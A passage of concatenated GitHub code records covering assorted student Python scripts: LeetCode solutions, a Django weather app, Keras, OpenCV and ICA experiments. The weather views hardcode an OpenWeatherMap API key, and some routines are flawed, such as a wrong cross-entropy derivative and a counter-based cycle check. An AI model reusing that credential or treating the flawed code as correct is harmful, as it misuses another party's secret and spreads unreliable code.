return celd\n\ndef cross_entropy_loss(target, x):\n n = len(target)\n cum = 0\n for i in range(n):\n try:\n cum += (target[i]*log(x[i], e))\n except BaseException as be:\n print(target)\n print(x)\n raise be\n cel = (-1)*cum\n return cel\n\ndef cross_entropy_loss_derivate(target, x):\n target = np.array(target)\n x = np.array(x)\n # celd = -target / x\n #celd = -1/x\n celd = (x - target)*2\n return celd\n\nerrorfunctions[MEAN_SQUARED_ERROR] = meansquarederror\nerrorfunctionsderivates[MEAN_SQUARED_ERROR] = meansquarederror_derivate\n\nerrorfunctions[CROSS_ENTROPY_LOSS] = cross_entropy_loss\nerrorfunctionsderivates[CROSS_ENTROPY_LOSS] = cross_entropy_loss_derivate\n\n\n \n","repo_name":"carloscz25/NNResearch","sub_path":"nn/error_functions.py","file_name":"error_functions.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"35301732715","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nGiven head, the head of a linked list, determine if the linked list has a cycle in it.\n\nThere is a cycle in a linked list if there is some node in the list that can be reached again by continuously following the next pointer. Internally, pos is used to denote the index of the node that tail's next pointer is connected to. Note that pos is not passed as a parameter.\n\nReturn true if there is a cycle in the linked list. Otherwise, return false.\n\nFollow up:\nCan you solve it using O(1) (i.e. constant) memory?\n\n\nExample 1:\n\nInput: head = [3,2,0,-4], pos = 1\nOutput: true\nExplanation: There is a cycle in the linked list, where the tail connects to the 1st node (0-indexed).\nExample 2:\n\n\nInput: head = [1,2], pos = 0\nOutput: true\nExplanation: There is a cycle in the linked list, where the tail connects to the 0th node.\nExample 3:\n\n\nInput: head = [1], pos = -1\nOutput: false\nExplanation: There is no cycle in the linked list.\n \n\nConstraints:\n\nThe number of the nodes in the list is in the range [0, 104].\n-105 <= Node.val <= 105\npos is -1 or a valid index in the linked-list.\n\n\"\"\"\n\nclass ListNode(object):\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n \n def Print(self):\n temp = self;\n while temp is not None:\n print (temp.val)\n temp = temp.next;\n \n print(\"Null\")\n\n# going through the entire list approach\ndef hasCycle(head):\n \"\"\"\n :type head: ListNode\n :rtype: bool\n \"\"\"\n # edge case where we have an empty list\n if head == None:\n return False;\n counter = 0;\n while head.next is not None and counter <=10**4:\n counter+=1;\n head = head.next;\n \n print(counter)\n if counter > 10**4:\n return True;\n else:\n return False;\n \n## doing two pointers\n# def hasCycle_efficient(head):\n# if not head or not head.next: \n# return False \n \n# first, second = head, head.next\n# while first != second:\n# if not first or not first.next: return False\n# first, second = first.next, second.next.next\n# return True\n\n \n \n \nfirst = ListNode(1);\nfirst.next = first;\n\n\nprint(hasCycle(first));\n\n","repo_name":"dr-aheydari/Coding_Practice","sub_path":"LinkedLists/LinkedListCycle.py","file_name":"LinkedListCycle.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70386823904","text":"'''\n\"string\".index(element,start,end)\n\nenumerate: useful for obtaining an indexed list: (0, seq[0]), (1, seq[1]), (2, seq[2]), ...\n'''\n\n\n# https://leetcode.com/problems/two-sum/\n'''brute force'''\ndef twoSum(nums: List[int], target: int) -> List[int]:\n for i in range(len(nums)):\n for j in range(i+1, len(nums)):\n if nums[i] + nums[j] == target:\n return [i, j]\n\n\n'''bad solution'''\ndef twoSumR(nums: List[int], target: int) -> List[int]:\n l = 0\n n = nums\n while l < len(nums)-1:\n for i in range(1, len(n)):\n if n[0] + n[i] == target:\n return [nums.index(n[0]), nums.index(n[i], nums.index(n[0])+1)]\n l += 1\n n = nums[l:]\n\n\n'''solutions online: faster to use hashmap (dictionary)'''\ndef twoSumR(nums: List[int], target: int) -> List[int]:\n seen = {}\n for index, num in enumerate(nums):\n other = target - num\n\n if other in seen:\n return [seen[other], index]\n\n else:\n seen[num] = index\n\n\n","repo_name":"Ting0718/Leetcode","sub_path":"Array/001_twoSum.py","file_name":"001_twoSum.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73354150943","text":"from django.core.exceptions import ObjectDoesNotExist\nfrom django.contrib import messages\nfrom django.shortcuts import render, redirect\nfrom .forms import CityForm\nfrom .models import City\nimport requests\nimport datetime\n\n\ndef index(request):\n \"\"\"\n A function used display all cities weather stored in the database.\n :param request:Contains information about current user.\n :return:Returns a render function with 3 arguments:\n 1.A str 'requests' contains information about current user.\n 2.An url that will be used to generate the access page.\n 3.A dictionary that contains 2 keys:\n 3.1.'weather' that contains data of the weather\n 3.2.'form' that contains the generated form.\n \"\"\"\n url = 'https://api.openweathermap.org/data/2.5/weather?q={}&units=metric' \\\n '&lang=fr&appid=83e4a44c491d71a05757e7679b2b9f65'\n weather_data = []\n\n # Get the date and hours with the local timezone.\n def get_date(timezone):\n tz = datetime.timezone(datetime.timedelta(seconds=int(timezone)))\n return datetime.datetime.now(tz=tz).strftime(\"%A, %H:%M\")\n\n cities = City.objects.values('pk', 'name')\n for city in cities:\n city_weather = requests.get(url.format(city[\"name\"])).json()\n weather = {\n 'pk': f'{city[\"pk\"]}',\n 'city': f'{city[\"name\"]}',\n 'country': f'{city_weather[\"sys\"][\"country\"]}',\n 'temperature': f'{round(city_weather[\"main\"][\"temp\"])}',\n 'description': f'{city_weather[\"weather\"][0][\"description\"]}',\n 'icon': f'{city_weather[\"weather\"][0][\"icon\"]}',\n 'wind_speed': f'{city_weather[\"wind\"][\"speed\"]}',\n 'humidity': f'{city_weather[\"main\"][\"humidity\"]}',\n 'timezone': f'{get_date(city_weather[\"timezone\"])}'\n }\n weather_data.append(weather)\n # form begin\n if request.method == 'POST':\n form = CityForm(request.POST)\n city_name = request.POST.get('name').capitalize()\n if form.is_valid():\n form.save(commit=False)\n form.save()\n messages.success(request,\n f'The city {city_name} has been created')\n return redirect('weather:weather_index')\n else:\n context = {'weather_date': weather_data, 'form': form}\n messages.error(request, f'{form.errors}'\n .replace('
    • ', ' ')\n .replace('
    ', ''))\n return render(request, 'weather/index.html', context)\n else:\n form = CityForm()\n context = {'weather_date': weather_data, 'form': form}\n return render(request, 'weather/index.html', context)\n\n\ndef city_detail(request, pk=None):\n \"\"\"\n A function used display information of a specified city weather.\n :param request:Contains information about current user.\n :return:Returns a render function with 3 arguments:\n 1.A str 'requests' contains information about current user.\n 2.An url that will be used to generate the access page.\n 3.A dictionary that contains 3 keys:\n 3.1.'weather' that contains weather data of a city.\n 3.2.'city' that contains the name of the city in database.\n 3.3.'day_weather' that contain a weather forcast of a city.\n \"\"\"\n try:\n city = City.objects.get(pk=pk)\n url = 'https://api.openweathermap.org/data/2.5/weather?q={}&' \\\n 'units=metric&lang=fr&appid=83e4a44c491d71a05757e7679b2b9f65'\n url_forcast = 'https://api.openweathermap.org/data/2.5/forecast?q={}&' \\\n 'units=metric&cnt=7&lang=fr&appid=' \\\n '83e4a44c491d71a05757e7679b2b9f65'\n weather_data = []\n city_weather = requests.get(url.format(city.name)).json()\n city_forcast_day = requests.get(url_forcast.format(city.name)).json()\n\n # Get the date and hours with the local timezone.\n def get_date(timezone):\n tz = datetime.timezone(datetime.timedelta(seconds=int(timezone)))\n return datetime.datetime.now(tz=tz).strftime(\"%A, %H:%M\")\n\n forcast_weather = []\n print(\"city_weather\")\n print(city_weather)\n for day in city_forcast_day[\"list\"]:\n date = datetime.datetime.fromtimestamp(day['dt'])\n day_icon = day[\"weather\"][0][\"icon\"]\n day_date = date.strftime(\"%A, %H:%M\")\n day_temp = day[\"main\"][\"temp\"]\n forcast_weather.append([day_date, day_temp, day_icon])\n weather = {\n 'pk': f'{city.pk}',\n 'city': f'{city.name}',\n 'country': f'{city_weather[\"sys\"][\"country\"]}',\n 'temperature': f'{round(city_weather[\"main\"][\"temp\"])}',\n 'temp_max': f'{round(city_weather[\"main\"][\"temp_max\"])}',\n 'temp_min': f'{round(city_weather[\"main\"][\"temp_min\"])}',\n 'description': f'{city_weather[\"weather\"][0][\"description\"]}',\n 'icon': f'{city_weather[\"weather\"][0][\"icon\"]}',\n 'wind_speed': f'{city_weather[\"wind\"][\"speed\"]}',\n 'humidity': f'{city_weather[\"main\"][\"humidity\"]}',\n 'timezone': f'{get_date(city_weather[\"timezone\"])}',\n }\n weather_data.append(weather)\n context = {\n 'weather_date': weather_data,\n 'city': city,\n 'forcast_weather': forcast_weather\n }\n return render(request, 'weather/city_detail.html', context)\n except ObjectDoesNotExist:\n messages.error(request, 'No city with that id')\n return redirect('weather:weather_index')","repo_name":"lucrem78/dj_weather_app","sub_path":"weather/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42778757091","text":"import re\n\n\ndef readfile():\n result = []\n with open(\"input.txt\", \"r\") as f:\n tempArr = []\n for row in f:\n if row == '\\n':\n result.append(tempArr)\n tempArr = []\n else:\n tempArr = tempArr + row.split(' ')\n result.append(tempArr)\n return result\n\n\ndef check(arr, req):\n count = 0\n validCount = 0\n for rec in arr:\n reqFilled = 0\n reqValid = False\n valid = True\n\n for it in rec:\n key = it.split(':')[0]\n value = it.split(':')[1].split('\\n')[0]\n if(key in req):\n reqFilled += 1\n if not checkValid(key, value) and valid:\n valid = False\n\n if(reqFilled == len(req)):\n count += 1\n reqValid = True\n if(valid and reqValid):\n validCount += 1\n\n return count, validCount\n\n\ndef checkInt(min, max, value):\n value = int(value)\n r = min <= value <= max\n return min <= value <= max\n\n\ndef checkValid(key, value):\n if(key == 'byr'):\n return checkInt(1920, 2002, value)\n elif(key == 'iyr'):\n return checkInt(2010, 2020, value)\n elif(key == 'eyr'):\n return checkInt(2020, 2030, value)\n elif(key == 'hgt'):\n unit = value[-2:]\n value = value.split(unit)[0]\n if(unit == 'cm'):\n return checkInt(150, 193, value)\n elif(unit == 'in'):\n return checkInt(59, 76, value)\n else:\n return False\n elif key == 'hcl':\n return not not re.match(r'(^#[0-9a-f]{6}$)', value)\n elif key == 'ecl':\n return value in ['amb', 'blu', 'brn', 'gry', 'grn', 'hzl', 'oth']\n elif key == 'pid':\n return not not re.match(r'^[0-9]{9}$', value)\n else:\n return True\n\n\ndef main():\n arr = readfile()\n req = ['byr', 'iyr', 'eyr', 'hgt', 'hcl', 'ecl', 'pid']\n\n print(check(arr, req))\n\n\nmain()\n","repo_name":"orriborri/AdventOfCode","sub_path":"day4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"27765092371","text":"import numpy as np\n\n\ndef mean_anomaly_to_eccentric_anomaly(mean_anomaly, eccentricity):\n \"\"\"\n Перевод из средней аномалии в эксцентрическую.\n \"\"\"\n\n E_res = mean_anomaly + np.where(np.abs(mean_anomaly) > np.pi, -1, 1) * np.sign(mean_anomaly)\n index = E_res > E_res - 1\n while np.any(index):\n E = E_res\n\n E_next = E + (mean_anomaly - E + eccentricity * np.sin(E)) / (1 - eccentricity * np.cos(E))\n\n need_computation = np.abs(E_next - E) > 1e-8\n E_res = E_next\n index = need_computation\n return E_res\n\n\ndef eccentric_anomaly_to_true_anomaly(eccentric_anomaly, eccentricity):\n \"\"\"Перевод из эксцентрической аномалии в истинную.\"\"\"\n return np.arctan2(np.sqrt(1 - eccentricity * eccentricity) * np.sin(eccentric_anomaly),\n np.cos(eccentric_anomaly) - eccentricity)\n\n\ndef mean_anomaly_to_true_anomaly_eccentric(mean_anomaly, eccentricity):\n eccentric_anomaly = mean_anomaly_to_eccentric_anomaly(mean_anomaly, eccentricity)\n true_anomaly = eccentric_anomaly_to_true_anomaly(eccentric_anomaly, eccentricity)\n return true_anomaly\n","repo_name":"sagitova-st/NOAA","sub_path":"XtoY/meantotrue.py","file_name":"meantotrue.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"18013008570","text":"# cp load\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras.datasets import mnist\n\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\nprint(x_train.shape, x_test.shape) # (60000, 28, 28), (10000, 28, 28)\nprint(y_train.shape, y_test.shape) # (60000,), (10000,)\n\n# 데이터 전처리 1.OneHotEncoding\nfrom tensorflow.keras.utils import to_categorical\ny_train = to_categorical(y_train)\ny_test = to_categorical(y_test)\n\n#전처리 /255\nx_train = x_train.reshape(60000, 28, 28, 1).astype('float32')/255.\nx_test = x_test.reshape(10000, 28, 28, 1).astype('float32')/255. \n# x_test.shape[0] 동일\n# .astype : 형변환\n\n# 2. 모델\n\n# 3. 컴파일, 훈련\nfrom tensorflow.keras.models import load_model\nmodel = load_model('./model/minist-05-0.0738.hdf5')\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', \n metrics=['acc'])\n\n\n\n# 4. 평가, 예측\nresult = model.evaluate(x_test, y_test, batch_size=32)\nprint(\"loss : \", result[0])\nprint(\"acc : \", result[1])\n\n'''\nsave\nloss : 0.09647425264120102\nacc : 0.9837999939918518\n\nload weight\nloss : 0.09647425264120102\nacc : 0.9837999939918518\n\nload cp\nloss : 0.058727119117975235\nacc : 0.9833999872207642\n'''","repo_name":"osy1223/bit_seoul","sub_path":"keras/keras51_3_load_weights.py","file_name":"keras51_3_load_weights.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38807286917","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 18 13:19:27 2019\n\n@author: 061221\n\"\"\"\n\nimport cv2\nimport numpy as np\nimport math\n\nCOLOR_BLUE = (255,0,0)\nCOLOR_GREEN = (0,255,0)\nCOLOR_RED = (0,0,255)\n\ndef save_image(image_object, message):\n cv2.imwrite(message, image_object)\n return\n\ndef display_image(image):\n cv2.imshow(\"image\", image)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n \n return\n\n\nimg = np.zeros((512,512,3), np.uint8)\n\n\ntop_left_coordinate = (100,200) ## x1, y1\nbottom_right_coordinate = (400,250) ## x2, y2\ncolor = (0,255,0)\nthickness = 1\n\n\nt1 = int((math.fabs(top_left_coordinate[0] - bottom_right_coordinate[0]) / 2))\nt2 = int((math.fabs(top_left_coordinate[1] - bottom_right_coordinate[1]) / 2))\n\norigin_point_x = top_left_coordinate[0] + t1 \norigin_point_y = top_left_coordinate[1] + t2\n\nmajor_axis = t1\nminor_axis = t2\n\nimg = cv2.rectangle(img, top_left_coordinate, bottom_right_coordinate, color, thickness)\n\n\n\n#circle_img = cv2.circle(img, (origin_point_x, origin_point_y), radius, COLOR_RED, 1)\n\nellipse_circle_img = cv2.ellipse(img, (origin_point_x, origin_point_y), (major_axis, minor_axis), 0,0,360, COLOR_BLUE, 1)\n\ndisplay_image(ellipse_circle_img)\n#save_image(ellipse_circle_img, \"inscribed ellipse 1.png\")","repo_name":"khalidgt95/Thesis","sub_path":"IoU scripts/inscribed_circle.py","file_name":"inscribed_circle.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27136861799","text":"from pyexiv2 import metadata\nimport os\nimport numpy as np\nfrom copy import copy\n\ndef rot_2d(theta):\n # Convert the coordinate system not coordinates\n return np.array([[np.cos(theta), np.sin(theta)],\n [-np.sin(theta), np.cos(theta)]])\n\ndef rpy_to_opk_test(smartphone_rpy):\n roll_pitch = copy(smartphone_rpy[0:2])\n\n roll_pitch[0] = -smartphone_rpy[1]\n roll_pitch[1] = -smartphone_rpy[0]\n\n omega_phi = np.dot(rot_2d(smartphone_rpy[2] * np.pi / 180), roll_pitch.reshape(2, 1))\n kappa = -smartphone_rpy[2]-90\n return np.array([float(omega_phi[0, 0]), float(omega_phi[1, 0]), kappa])\n\n# f = open('../../Smartphone_Image_opk/rpy.txt', \"w\")\nfor root, dirs, files in os.walk('../../Smartphone_Image_opk'):\n files.sort()\n for file in files:\n file_path = root + '/' + file\n print(\"*******\", file, \"*******\")\n meta = metadata.ImageMetadata(file_path)\n meta.read()\n\n # print(meta.exif_keys)\n # print(meta.xmp_keys)\n\n roll = float(meta['Xmp.DLS.Roll'].value) * 180 / np.pi\n pitch = float(meta['Xmp.DLS.Pitch'].value) * 180 / np.pi\n yaw = float(meta['Xmp.DLS.Yaw'].value) * 180 / np.pi\n print(roll, pitch, yaw)\n data = file + \"\\t\" + str(roll) + \"\\t\" + str(pitch) + \"\\t\" + str(yaw) + \"\\n\"\n # f.write(data)\n\n opk = rpy_to_opk_test(np.array([roll, pitch, yaw]))\n\n print()\n\n# f.close()\n","repo_name":"hwiyoung/Orthophoto_Maps","sub_path":"tests/system_cal_test.py","file_name":"system_cal_test.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"7"} +{"seq_id":"75016881503","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport random\r\nimport math\r\nfrom scipy.stats import entropy\r\n\r\ndef sigma(x):\r\n return 1/(1+np.exp(-x))\r\n\r\ndef grad(x, w):\r\n q = np.dot(w.T, x)\r\n e = 1-2*sigma(q)\r\n r = np.dot(e, x.T)\r\n t = np.linalg.inv(w.T)\r\n return r+t\r\n\r\ndef error_f(x,y):\r\n return \r\n \r\nn = 500\r\nx = np.zeros((1,n))\r\ny = np.zeros((1,n))\r\nalfa = 0.0009\r\nk=0\r\nrandom.seed(1000)\r\nwhile k 50:\r\n#while k < 2:\r\n# w1 = w + alfa*grad(Acentered, w)\r\n# d = abs(np.mean(grad(Acentered, w)))\r\n## print (d)\r\n# w = w1\r\n# k+=1\r\n# print(\"__________\")\r\n# print (w)\r\n# print(\"iter = \",k)\r\n# \r\n#w1_bx=[0, -w[0][0]]\r\n#w1_by=[0, w[1][0]]\r\n#w2_bx=[0, -w[0][1]]\r\n#w2_by=[0, w[1][1]]\r\n#\r\n#v1 = w[:,0]\r\n#Anew_w1 = np.dot(v1,Acentered)\r\n#v2 = w[:,1]\r\n#Anew_w2 = np.dot(v2,Acentered)\r\n#\r\n#sko1 = np.std(Anew_w1)\r\n#sko2 = np.std(Anew_w2)\r\n#print(\"sko1 = \", sko1)\r\n#print(\"sko2 = \", sko2)\r\n#\r\n#hist1 = np.histogram(Anew_w1, 20)\r\n#h1 = hist1[0] / len(Anew_w1)\r\n#print(\"enrt1 = \", entropy(h1))\r\n#hist2 = np.histogram(Anew_w2, 20)\r\n#h2 = hist2[0] / len(Anew_w2)\r\n#print(\"enrt2 = \", entropy(h2))\r\n# \r\n#plt.subplot(1,1,1)\r\n##for i in range(len(Acentered[0])):\r\n## plt.plot(Acentered[0][i], Acentered[1][i], \"o\", ms = 3, color='r')\r\n##plt.plot(w1_bx, w1_by, linewidth=4.0, color='g', label='w1')\r\n##plt.plot(w2_bx, w2_by, linewidth=4.0, color='m', label='w2')\r\n##plt.axis([-5, 5, -6, 6])\r\n##plt.title (\"Отцентрованная выборка\")\r\n##plt.ylabel('Y')\r\n##plt.xlabel('X')\r\n#\r\n##for i in range(len(a1[0])):\r\n## plt.plot(a1[0][i], a1[1][i], \"o\", color='r', ms = 3)\r\n##for i in range(len(a2[0])):\r\n## plt.plot(a2[0][i], a2[1][i], \"o\", color='b', ms = 3)\r\n##plt.axis([4, 12, 4, 16])\r\n##plt.title (\"Исходная выборка\")\r\n##plt.ylabel('Y')\r\n##plt.xlabel('X')\r\n#\r\n##plt.hist(Anew_w2, 20, edgecolor='w', linewidth=3)\r\n##plt.title (\"Гистограмма проекции на w2\")\r\n##\r\n##plt.hist(Anew_w1, 20, edgecolor='w', linewidth=3)\r\n##plt.title (\"Гистограмма проекции на w1\")\r\n#\r\n#\r\n#plt.grid(True)\r\n#plt.legend()\r\n#plt.ylabel('Y')\r\n#plt.xlabel('X')\r\n#plt.show()","repo_name":"EkaterinaKuzkina/Machine-learning","sub_path":"ICA and RSA/ICA.py","file_name":"ICA.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"41849093187","text":"import cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef imgxor(rgb, bgr):\n simg = np.bitwise_xor(rgb, bgr)\n return simg\n\n\nbgr = cv2.imread('ironman_1_des.jpg')\nrgb = cv2.cvtColor(bgr, cv2.COLOR_BGR2RGB)\n\nprint(bgr.shape)\nscode = np.random.randn(bgr.shape[0], bgr.shape[1], 3)\nscode = np.abs(scode) * np.random.randint(150, 300)\nscode = np.int32(scode)\n\nsimg = imgxor(rgb, scode)\n\nprint(simg[0, 0, :])\n# plt.imshow(rgb)\nplt.imshow(simg)\n\nrgb2 = imgxor(simg, scode)\n\n# plt.imshow(rgb2)","repo_name":"meticulousdev/ClassicComputerScienceProblemsInPython","sub_path":"Chapter01/2020/Study/HDF_problem_0107_04.py","file_name":"HDF_problem_0107_04.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"25865070059","text":"from tkinter import *\n\nfrom PIL import ImageTk, Image\n\nroot = Tk()\n\nmy_image = ImageTk.PhotoImage(Image.open(\"1.jpg\"))\nlabel = Label(image=my_image)\nlabel.grid(row=2, column=0)\n\nstatus = Label(root, text=\"Image 1 of 5\")\nstatus.grid(row=2, column=0, columnspan=3, sticky=W+E)\nbutton_quit = Button(root,text=\"Exit\", command=root.quit, width=20)\nbutton_quit.grid(row=2, column=0)\nroot.mainloop()\n","repo_name":"khadkasagar662/LabExercise1","sub_path":"TkinterProject/Image1.py","file_name":"Image1.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30251279142","text":"import numpy as np\n\nimport functions\nimport turgunlikv1\n\n# project_path = r\"d:\\NUU documents\\Ilmiy ish\\Intervallar\"\nproject_path = r\"d:\\_NUU\\2020\\batonMD\"\n\n\nnp.seterr(all='raise')\n\n\n# def turgunlik(ustun, alomat1, alomat2, amal):\n# \"\"\"Bu funksiya kelgan ustunni turg'unligini hisoblaydi\"\"\"\n# print(f\"X{alomat1} {amal} X{alomat2} ustuni: {ustun}\")\n\n\n# class_desc = {1: \"Kasallar\", 2: \"Sog'lomlar\"}\n\n\n# id_col = np.arange(m).reshape((m, 1))\n# matritsa = np.hstack((id_col, matritsa))\n\ndef turgunlik(column, labels, explain_text):\n # K_pow, indexes\n\n ORDERED_COLUMN = 1\n\n m = len(column)\n matrix = np.array(column).reshape((m, 1))\n id_col = np.arange(m).reshape((m, 1))\n\n matrix = np.hstack((id_col, matrix, labels.reshape((m, 1))))\n\n # print(\"Unsorted\", matrix)\n matrix = functions.sorting_by_col(matrix, ORDERED_COLUMN)\n # print(\"Sorted\", matrix)\n labels = matrix[:, 2].copy()\n class_names, class_members = np.unique(labels, return_counts=True)\n indexes = functions.get_uv(matrix, col_n=ORDERED_COLUMN)\n # indexes = [int(x) for x in matritsa[:, 0]]\n # print(indexes)\n\n intervals = functions.finding_intervals(labels, indexes, class_members)\n # print(intervals)\n\n intervals.sort(key=lambda x: x[2], reverse=True)\n\n\n print(f\"LATENT ALOMAT QIYMATLARI: {explain_text} \\n\"\n \"t/r id sinf qiymati\")\n for n, el in enumerate(matrix):\n print(f\"{n:<3} {int(el[0]):<4} {int(labels[int(el[0])]):<5} {float(el[1]):<4.2f}\")\n\n print(\n f\"intervallari: {intervals}\\n\"\n )\n\n\n # for obyekt in matritsa[:, 0]:\n # gamma = 0.\n # for interval in intervals:\n # print(matritsa[int(obyekt)][1])\n # f = functions.tegishlilik_funksiyasi_qiymati(matritsa[int(obyekt), 1], 1, interval, labels)\n # print(f\"obj[{obyekt}]:: interval:{interval}:: f = {f}\")\n # BETTA = 0.\n # summa = 0.\n #\n # for interval in intervals:\n # f = functions.prenadlejnost(matritsa[:, -1], ORDERED_COLUMN, interval)\n # # if f > 0.5:\n #\n # # print(f\"f{f}\")\n # summa += (abs(interval[0]-interval[1])) * f\n # # print(f\"SUMMA:{summa}\")\n # BETTA = summa / m\n # print(f\"\\nBETTA = {BETTA}\")\n\n\n# print(\"*\"*50, '\\tend\\t', '*'*50)\n\n############################################################################################\n# ISHONCHLILIK ME'YORI #####################################################################\n############################################################################################\n# labels = np.genfromtxt(target_file, delimiter=';')\n# for obyekt_tr in matritsa:\n# # obyekt_tr = matritsa[37].copy()\n#\n# print(f\"Obyekt {int(obyekt_tr[0])}\", end='\\n')\n# fa1 = 0\n# for alomat_nomeri in range(1, n+1):\n# sorting_order = list(matritsa[:, alomat_nomeri].argsort())\n# indexes = functions.get_uv(matritsa[sorting_order], col_n=alomat_nomeri)\n# intervals = functions.finding_intervals(labels[sorting_order], indexes, class_members)\n#\n# fa2 = functions.tegishlilik_funksiyasi_qiymati(\n# obyekt_tr[alomat_nomeri],\n# matritsa[sorting_order, alomat_nomeri],\n# intervals,\n# labels[sorting_order]\n# )\n#\n# print(f\"Qadam-{alomat_nomeri-1:0>2} :: f(a1) + f(a{alomat_nomeri}) * (1 - f(a1) = {fa1:0.2f} + {fa2:.2f} * ({1-fa1:.2f})\", end=\" \")\n# fa1 = fa1 + fa2 * (1 - fa1)\n# print(f\" = {fa1:.2f}\")\n# print(fa1)\n#\n#\n########################################################################################################################\nmatritsa = np.genfromtxt(project_path + r\"\\init_data\\giper\\Objects.csv\", delimiter=',')\nlabels = np.genfromtxt(project_path + r\"\\init_data\\giper\\Target.csv\", delimiter=\",\")\n\nshape = matritsa.shape\nfeature_sorting = []\n\nfor alomat1 in range(shape[1]):\n\n for alomat2 in range(shape[1]):\n latent_kupaytma = []\n latent_bulinma = []\n #\n for qator in range(shape[0]):\n\n # Kopaytma\n if alomat1 < alomat2:\n lat = matritsa[qator][alomat1] * matritsa[qator][alomat2]\n # print(matritsa[qator][alomat1], \" * \", matritsa[qator][alomat2], \" = \", lat)\n latent_kupaytma.append(lat)\n else:\n latent_kupaytma = None\n\n # Bo'linma\n if alomat1 != alomat2:\n try:\n lat = matritsa[qator][alomat1] / matritsa[qator][alomat2]\n latent_bulinma.append(lat)\n except Exception as e:\n # print(f\"m[{qator}][{alomat1}] / m[{qator}][{alomat2}] = {matritsa[qator][alomat1]} / {matritsa[qator][alomat2]} = ERROR:{e.args}\")\n latent_bulinma.append(float(\"-inf\"))\n else:\n latent_bulinma = None\n\n if latent_kupaytma:\n # turgunlik(latent_kupaytma, labels, f\"x{alomat1} * x{alomat2}\")\n # turgunlikv1.turgunlik(latent_kupaytma, labels, f\"x{alomat1} * x{alomat2}\")\n feature_sorting.append(\n turgunlikv1.turgunlik_ishchi(latent_kupaytma, labels, f\"x{alomat1} * x{alomat2}\")\n )\n if latent_bulinma:\n # turgunlik(latent_bulinma, labels, f\"x{alomat1} / x{alomat2}\")\n # turgunlikv1.turgunlik(latent_bulinma, labels, f\"x{alomat1} / x{alomat2}\")\n feature_sorting.append(\n turgunlikv1.turgunlik_ishchi(latent_bulinma, labels, f\"x{alomat1} / x{alomat2}\")\n )\n print(f\"{alomat1}:{alomat2}\", end=\" \")\n # turgunlik(latent_kupaytma, alomat1, alomat2, \" * \")\n # turgunlik(latent_bulinma, alomat1, alomat2, \" / \")\n\nsort_turgunlik = sorted(feature_sorting, key=lambda L:L[0], reverse=True)\nsort_interval_soni = sorted(feature_sorting, key=lambda L:L[1], reverse=False)\n\nc = 0\nprint(\"Turg'unlik bo'yicha tartiblagandagi birinchi 10 tasi: \\n\"\n \"Latent formulasi\\t::\\tTurg'unlik ko'rsatkichi\")\nfor row in sort_turgunlik:\n print(f\"{row[-1]} :: {row[0]:1.2f}\")\n c+=1\n if c == 1000:\n break\nc = 0\n# print(\"Intervallar soni bo'yicha tartiblagandagi birinchi 10 tasi: \\n\"\n# \"Latent formulasi\\t::\\tintervallar soni\")\n# for row in sort_interval_soni:\n# print(f\"{row[-1]} :: {row[1]:1.2f}\")\n# c+=1\n# if c == 100:\n# break\n\n","repo_name":"ARISTOCKRAT/batonMD","sub_path":"latent1.py","file_name":"latent1.py","file_ext":"py","file_size_in_byte":6332,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"7477028987","text":"# !/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport unittest\n\nimport pandas as pd\n\n\nclass TestReindex(unittest.TestCase):\n def test_reindex(self):\n obj = pd.Series([2, 4, 1, 3], index=['b', 'd', 'a', 'c'])\n obj2 = obj.reindex(['a', 'b', 'c', 'd'])\n self.assertTrue((['a', 'b', 'c', 'd'] == obj2.index).all())\n self.assertTrue(\n (pd.Series([1, 2, 3, 4], index=['a', 'b', 'c', 'd']) == obj2).all())\n\n def test_method(self):\n obj = pd.Series(['blue', 'red', 'yellow'], index=[0, 2, 4])\n obj2 = obj.reindex(range(7), method='ffill')\n self.assertTrue((pd.Series(\n ['blue', 'blue', 'red', 'red', 'yellow', 'yellow', 'yellow'],\n index=range(7)) == obj2).all())\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"jingwen-z/python-playground","sub_path":"python_for_data_analysis/pandas_playground/reindexing_test.py","file_name":"reindexing_test.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"7"} +{"seq_id":"14246155747","text":"from django.urls import 